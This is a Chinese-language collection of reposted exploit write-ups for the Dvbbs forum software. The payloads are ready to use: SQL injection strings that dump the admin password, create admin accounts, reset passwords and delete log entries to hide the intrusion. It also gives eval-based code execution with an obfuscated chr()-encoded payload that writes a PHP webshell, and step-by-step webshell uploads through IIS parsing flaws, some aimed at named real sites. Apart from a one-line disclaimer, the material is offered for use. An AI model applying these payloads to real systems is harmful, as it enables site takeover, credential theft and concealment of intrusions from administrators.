动网PHP论坛indivgroup_dispbbs.php sql注入漏洞
在文件indivgroup_dispbbs.php中:
if($groupboardid == 0){ //第86行
……
else{ //第92行
$query=$db->query("select id boardid,rootid,boardname boardtype,boardinfo,indeximg,postnum,topicnum,todaynum,lastpost,boardstats,rules from {$dv}group_board where rootid={$groupid} and id={$groupboardid}");
变量$groupboardid没有经过过滤放入sql语句导致注入漏洞的产生。
测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
http://ssvdb.com/indivgroup_dispbbs.php?groupid=1&groupboardid=1%20and%201=1&id=2&page=1
测试可用。。。
dvbbs php2.0 几处0day
by:T00ls 核心成员 Xhm1n9 2010.8.19
1,joinvipgroup.php //注入
function up_vipuser(){
global $lang,$db,$dv,$userid,$userinfo,$vipgroupuser;
$groupid=$_POST['vipgroupid'];
$btype=$_POST['Btype'];
$vipmoney=$_POST['vipmoney'];
$vipticket=$_POST['vipticket'];
if($groupid==0 or $vipmoney<0 or $vipticket<0){echo "@@";
showmsg($lang['join.info4']);
exit;
}
$issql=$db->scalar("SELECT count(1) FROM {$dv}usergroups WHERE parentgid=5 and usergroupid='".intval($groupid)."'");echo $issql;
if($issql>0 AND ($sql=$db->query("SELECT usergroupid,title,usertitle,groupsetting,grouppic FROM {$dv}usergroups WHERE parentgid=5 and usergroupid='".intval($groupid)."'"))){
while ($arr=$db->fetch_array($sql)){
$vipgroupsetting=explode(",",$arr['groupsetting']);
$upsetting=explode($lang['join.separator1'], $vipgroupsetting[71]);//'升级到该组所需金币数 金币数§点券数§有效天数§最低天数
if($btype==1){echo "???";
$vipmoney=0;
if(intval($upsetting[3])>0){
$mustnum=$upsetting[3]*$upsetting[1]/$upsetting[2];
if($mustnum>0){
$mustnum=number_format($mustnum,0);
}else{
showmsg($lang['join.info5']);
exit;
}
}
if($userinfo['userticket']<$vipticket or $vipticket<$mustnum){
showmsg($lang['join.info6']);
exit;
}
$updats=$vipticket*$upsetting[2]/$upsetting[1];
$updats=intval(number_format($updats,0));
}else{echo "&&&";
$vipticket=0;
if($upsetting[3]>0){
$mustnum=$upsetting[3]*$upsetting[0]/$upsetting[2];
if($mustnum>0){
$mustnum=number_format($mustnum,0);
}else{
showmsg($lang['join.info5']);
exit;
}
}
var_dump($userinfo['usermoney']<$vipmoney);
var_dump($vipmoney<$mustnum);
if($userinfo['usermoney']<$vipmoney || $vipmoney<$mustnum){echo "ri";
showmsg($lang['join.info7']);
exit;
}
$updats=$vipmoney*$upsetting[2]/$upsetting[0];
$updats=intval(number_format($updats,0));
}
if($vipgroupuser===true){echo "%%%";
$db->query("UPDATE {$dv}user SET usergroupid=".$groupid.",userclass='".$arr['usertitle']."',titlepic='".$arr['grouppic']."',usermoney=usermoney-".$vipmoney.",userticket=userticket-".$vipticket.",vip_endtime='".($userinfo['vip_endtime']+$updates*24*3600)."' WHERE userid=".$userid."");
$db->query("UPDATE {$dv}online SET usergroupid='$groupid' Where userid=$userid");
}else{echo "^^^";
$db->query("UPDATE {$dv}user SET usergroupid=".$groupid.",userclass='".$arr['usertitle']."',titlepic='".$arr['grouppic']."',usermoney=usermoney-".$vipmoney.",userticket=userticket-".$vipticket.",vip_endtime='".(TIME_NOW+$updates*24*3600)."',vip_startime='".TIME_NOW."' WHERE userid=".$userid."");
$db->query("UPDATE {$dv}online SET usergroupid='$groupid' Where userid=$userid");
}
..............................................................
$vipmoney变量没有过滤,利用前提是管理员设了vip会员组,有点金币:)
<title>test</title><form name="p_form" id="p_form" method="post" action="http://127.1/dvbbs/joinvipgroup.php?action=upvipuser" enctype="multipart/form-data">
<input id='img_thumb_final' name='vipmoney' type="text" value="0,useremail=123456">
<input id='img_thumb_final' name='vipticket' type="text" value="88">
<input id='img_thumb_final' name='vipgroupid' type="text" value="25">
<input id='img_thumb_final' name='Btype' type="text" value="">
<input name="sub" type="submit" value="提交" />
</form>
<!------------
0,userface=(select password from dv_admin where id=1) where userid=1#
!>
2,cache/static/index_0_0.php //执行漏洞
index.php
if((!$useindexstatic) || (!$useindexstatic_css) || $page>1 || $topicmode>0){
....................................
if($useindexstatic_css && $page < 2 && $topicmode==0){
$this_my_f= ob_get_contents(); //生成缓存文件
ob_end_clean();
to_static_php_file($indexstatic,$this_my_f);
}
...................................
}
写缓存生成的文件里有eval(),但文件顶部没有限制返问
<? eval("\$lang['tpl.str10']=\"{$lang['tpl.str10']}\";");?>
index_0_0.php?lang[tpl.str10]={${phpinfo()}}
3,templates/default/index.tpl.php //执行漏洞
<?
if( !defined('ISDVBBS') ){
header('HTTP/1.0 404 Not Found');
exit;
}
global $imgurl;
if($useindexstatic)
echo '<? eval("\$lang[\'tpl.str10\']=\"{$lang[\'tpl.str10\']}\";");?>';
else
eval("\$lang['tpl.str10']=\"{$lang['tpl.str10']}\";");
?>
.........................
index.php
...........//省略部份代码
if((!$useindexstatic) || (!$useindexstatic_css) || $page>1 || $topicmode>0){
if($useindexstatic_css &&$page < 2 && $topicmode==0){
$useindexstatic= true;
ob_start();
}
else
$useindexstatic= false;
include_once INC_PATH.'DV_Encoding.class.php';
$objenc =& DV_Encoding::GetEncoding($charset);
$lang = load_lang($lang, 'index' );
....................
首页调用模板,但没初始化$lang变量,只要满足if($useindexstatic_css &&$page < 2 && $topicmode==0)条件就能成功
例:http://www.flyingcity.cn/bbs/index.php?lang[tpl.str10]={${phpinfo()}}
index.php?lang[tpl.str10]={${phpinfo()}}
index.php?lang[tpl.str10]={${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(43).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(32).chr(62).chr(39).chr(41).chr(59))}} fputs(fopen('x.php','w+'),'<?eval($_POST[c])?>');
最新DVBBS8.0以上版本后台提升webshell 0day
转载请著名出处,char's blog http://www.mm9.com.cn/a/18.html
如果服务器支持PHP,那么,在版块设置里面对某某版块设置上传格式里面增加php,可以传成功。上传地址在后台文件管理处查看。
这次这个后台提权漏洞是上个星期无意中发现的。
1、登录后台,风格界面-模板导出 在附加说明处写入一句话木马
2、点击“导出”成功导出到skins下面的dv_skin.mdb
3、选择数据处理-备份数据库 如图填写
(../skins/dv_skin.mdb已经存在了我们的一句话,然后我们把他备份为XX.mdb-因为dvbbs8以上后,就对备份的数据库名称做了严格判断,只有当后缀是.mdb的时候才能备份成功,所以我这里填char.mdb 。中间备份数据库目录 以XX.ASP的格式写入,不存在,他就自动创建。这就利用了IIS6.0的解析漏洞了。我们看下面就能看明白)
4、点击确定,得到地址,使用一句话木马连接,后台获取webshell成功。
5.一句话木马地址 例: http://www.mm9.com.cn/bbs/a.asp/char.mdb
使用一句话木马连接端连接.
动网多个版本上传漏洞
以前没收藏,现在收藏一下!
----
利用的还是IIS的文件名解析漏洞.
影响版本:
Powered By Dvbbs Version 8.2.0
Powered By Dvbbs Version 8.1.0
Powered By Dvbbs Version 8.0.0
注册用户-我的主页-个人空间管理
userspace.asp?sid=0&act=modifyset
然后编辑CSS风格-文件管理
Dv_plus/myspace/script/filemange.asp
上传 *.asp;*jpg
By:h4ck3rsbr
dvbbs 8.2前台0day
内部板块发布:
利用:
发帖子,标题为下面的sql语句,然后点评论。0为中立, 1为支持, 2为反对 都行。
这时sql语句被执行
库名:
a','',1,'hang','2008-2-4','',2);update/**/dv_user/**/set/**/useremail=db_name()/**/where/**/username='hang'--
加前台和后台管理员:
a','',1,'hang','2008-2-4','',2);update dv_user set UserGroupID=1 where username='hang';insert into dv_admin(Username,Password,Flag,Adduser)values('hang','965eb72c92a549dd',',4,','hang')--
清理数据库记录(有三个表):
http://www.lnhonker.cn/Admin/help.asp?action=view&id=1;delete/**/from/**/dv_log/**/where/**/l_username='hang';delete/**/from/**/dv_topic/**/where/**/PostUsername='hang';delete/**/from/**/Dv_Appraise/**/where/**/UserName='hang'--
(因为是通过后台注入来执行delete语句,所以最后Dv_log还是有一条关于后台help.asp文件访问记录)
来源:小航's Blog
动网博客又一Injection (影响:Dvbbs blog)
受影响版本:Dvbbs blog (All vers) SQL版
Access版不受影响
注册会员
进入管理博客
关健字设置
再编辑关健字
上面几个还是随便填写。。
在第三个,也就是连接地址这里写入语句
123123'where 1=0;update dv_user set userpassword='469e80d32c0559f8' where username='admin'--